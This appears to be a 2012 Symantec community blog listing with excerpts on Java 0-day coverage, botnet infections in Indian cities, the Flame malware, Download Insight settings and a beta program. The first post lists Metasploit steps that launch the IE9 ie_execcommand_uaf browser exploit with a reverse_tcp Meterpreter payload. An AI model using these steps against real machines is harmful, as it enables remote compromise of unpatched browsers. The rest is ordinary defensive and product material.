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Fabiano.Pessoa | 27 Sep 2012 | 0 comments

Hello
We got a discovered vulnerability in IE 9 on 17/09/2012 which can be exploited as following command in Backtrack 5 R2

Metasploit:

- msfupdate
- Use exploit / windows / browser / ie_execcommand_uaf
- Set SRVHOST 192,168 ...
- Set PAYLOAD windows / Meterpreter / reverse_tcp
- Set LHOST 192,168 ...
- exploit

Let's beware the networking.

hugs

Brandon Noble | 30 Aug 2012 | 7 comments

Greetings everyone.

We are still getting a lot of questions about Symantec's coverage of the most recent Java 0-Day. I thought I would take a moment to jot down a list of our current coverage for this event, and hopefully save everyone some time and hassle.

Current Coverage:

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Eileen | 21 Jun 2012 | 0 comments

Watch this video to hear what SMB customers are saying about SEP 12 as it relates to Kaspersky.

 

 

Mira Davda | 29 May 2012 | 0 comments

Augmented by broadband penetration smaller and emerging cities of India are exploring opportunities offered by the virtual world. This group of connected people and businesses has reached critical mass and is lucrative enough to be targeted by cyber criminals.

Indian Cities such as Bhubaneshwar, Surat, Cochin, Jaipur, Vishakhapatnam and Indore are increasingly facing the risk of cyber attacks, with one in four bot- infections in India reported in such cities, reveals India findings of Symantec Internet Security Threat Report, Volume (ISTR) 17. Also, some cities that repeatedly appear in the list for origin of phishing in India - Ahmedabad,  Nashik and Coimbatore also figure in the list of bot-infections.  Botnets are networks of zombie machines that are used to perform sophisticated attacks  and conduct coordinated attacks. The presence of bot-infected computers in these locations indicates that they are being inducted as part of a network of compromised...

AR Sharma | 28 May 2012 | 8 comments

Just now 'The Flame', the most powerful malware till date has been identified. Again, we must say that calling 'The Flame' a malware is insult for 'The Flame'.

When security community can call Stuxnet- the first cyber weapon, then 'The Flame' should be called as first nuclear cyber weapon.

'Flame' is the 20 times more complex than Stuxnet. Antivirus companies took 6 months to analyze Stuxnet. Imagine how much time and effort would be required to analyze 'The Flame'

'Flame' is massive and most likely targeted for Iran and Isreal.

Once the PC is infected with 'Flame', it steals all info including password, traffic, image, audio and keystrokes.

In the group of malware, 'Flame' joins the elite club along with Stuxnet and Duqu.

'Flame' is the sophisticated attack toolkit. When fully deployed, it's over 20 Mb in size. Such a huge size is due to many different...

Chetan Savade | 17 May 2012 | 5 comments

Hello Everyone,

Auto-Protect includes a feature that is called Download Insight, which examines the files that users try to download through Web browsers, text messaging clients, and other portals.

Supported portals include Internet Explorer, Firefox, Microsoft Outlook, Outlook Express, Windows Live Messenger, and Yahoo Messenger.

Download Insight determines that a downloaded file might be a risk based on evidence about the file's reputation. Download Insight is supported only for the clients that run on Windows computers.

You can enable or disable Download Insight and change how sensitive Download Insight is to potentially malicious files. You can also specify the additional criteria that Download Insight uses when it makes a decision about a file. Use these settings to help control the number of false positive detections.

You might want to customize Download Insight settings to decrease false positive detections on client computers. You can...

Chetan Savade | 15 May 2012 | 0 comments

Hello Everyone,

Tips to improve performance, speed & security.

5 tips for PC health: Organize your folders, update Windows, run antivirus software

Working on a slow, disorganized computer can be frustrating. Read on for organization tips and guidelines to keep your PC on the right track using tools built in to the Windows operating system.

1. Organize your folders

2. Clean up your hard disk

3. Use System Restore

4. Keep Windows and Microsoft Office up-to-date

5. Run antivirus software and a spyware detection and removal tool

Reference : http://bit.ly/JywScP

Speed up your PC

A badly fragmented hard drive will bring even a top-of-the-line new computer to a grinding halt. Learn how a preventive maintenance plan can keep your Windows PC running smoothly and swiftly.

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Chetan Savade | 15 May 2012 | 0 comments

Be Safe, Be Secure

Protecting confidential information is a business requirement, and in many cases also an ethical and legal requirement.

Making a plan for what to do and what not to do, e.g., types of devices you need to secure and monitoring inbound avenues of threat infiltration and outbound avenues of confidential data exfiltration

Establishing detailed policies for what employees can and cannot do regarding webmail and social media access at work – taking into account employee morale as well as productivity

Deploying a multi-layered, multi-level defense that goes beyond traditional, separated defenses such as firewalls – which are largely ineffective against today's blended and targeted attacks

Symantec has released best practices/recommendation to protect data.

Security Response recommendations for Symantec Endpoint Protection settings

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Schleede | 12 Apr 2012 | 0 comments

Thank you everyone who attended the groups meeting on Thursday. I was very impressed on how many people came out for the meeting and the excellent quality of the presenters! Even with a very large room, it was sanding room only! thanks you General Mills for hosting in an excellent facility!

To those who missed this meeting, below were the highlights of our agenda:

- Workflow Presentation by Noah Korba from General Mills. (Please see the Slide Deck attached for this presentation.)

    Noah presented and excellent case study on how to integrate SEP and Workflow to automate remediation of clients. The development of the workflow   with these tools was very impressive and demonstrated real business savings with the integration of these programs.

- A quick followup on the previous meetings presentation on the SEP 12.1 Upgrade at Hennepin County.

- SEP Roadmap by Elisha Riedlinger: Elisha is a Symantec employee and product manager for the...

Mithun Sanghavi | 21 Mar 2012 | 4 comments

Dear Valued Customers and Partners,

Here is an Opportunity for Participating in the Testing of the pre-released Symantec Endpoint Protection 12.1 RU1 MP1 Beta software.

At this time, we are accepting applications to participate in the SEP 12.1 RU1 MP1 Beta program.

With your participation, Symantec can insure another high quality release of Endpoint Protection.

https://symbeta.symantec.com/callout/default.html?callid=D428BA05680E4CFA9D764278E140A79F

Thank you for your support!